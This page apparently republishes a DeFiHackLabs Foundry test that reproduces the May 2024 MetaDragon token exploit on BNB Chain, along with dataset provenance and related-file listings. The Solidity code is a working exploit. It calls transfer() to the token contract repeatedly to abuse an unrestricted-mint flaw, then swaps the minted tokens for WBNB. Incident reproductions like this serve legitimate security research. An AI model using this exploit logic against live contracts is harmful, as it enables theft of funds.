Public reproduction file
src/test/2024-05/MetaDragon_exp.sol
Public reproduction file for dataset entry MetaDragon.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// Profit : ~180K USD8// TX : https://app.blocksec.com/explorer/tx/bsc/0x3ad998a01ad1f1bbe6dba6a08e658c1749dabfa4a07da20ded3c73bcd6970d209// GUY : https://x.com/Phalcon_xyz/status/179574682806485449710// Vuln Contract: https://bscscan.com/address/0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f12// Root Cause: ```if (to == address(this) || to == erc721) {transform(value);}``` allows for unrestricted minting14address constant meta_token = 0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f;15address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;16address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;18contract MetaDragonTest is Test {19 uint256 endTokenId = 40;21 function setUp() external {22 vm.createSelectFork("bsc", 39_141_426);23 }25 function testExploit() public balance_log {26 for (uint256 i = 0; i < endTokenId; i++) {27 bytes memory calldatas = abi.encodeWithSignature("transfer(address,uint256)", meta_token, i);28 // don't check return value29 meta_token.call(calldatas);30 }31 emit log_named_uint("attacker MetaToken balance", IERC20(meta_token).balanceOf(address(this)));33 IERC20(meta_token).approve(router, type(uint256).max);34 address[] memory paths = new address[](2);35 paths[0] = meta_token;36 paths[1] = wbnb;38 IUniswapV2Router(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(39 IERC20(meta_token).balanceOf(address(this)), 0, paths, address(this), block.timestamp40 );41 }43 modifier balance_log() {44 emit log_named_uint("attacker weth balance before", IERC20(wbnb).balanceOf(address(this)));45 _;46 emit log_named_uint("attacker weth balance after", IERC20(wbnb).balanceOf(address(this)));47 }48}Analysis
Dataset entry
Public Foundry test for “MetaDragon” (2024-05-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- MetaDragon
- Path
- src/test/2024-05/MetaDragon_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a4975d2f90693d35793185aa5b35ef832ff7fab9
- Language
- Solidity
- Size
- 49 lines
- Date
- 2024-05-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/MetaDragon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a4975d2f90693d35793185aa5b35ef832ff7fab9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.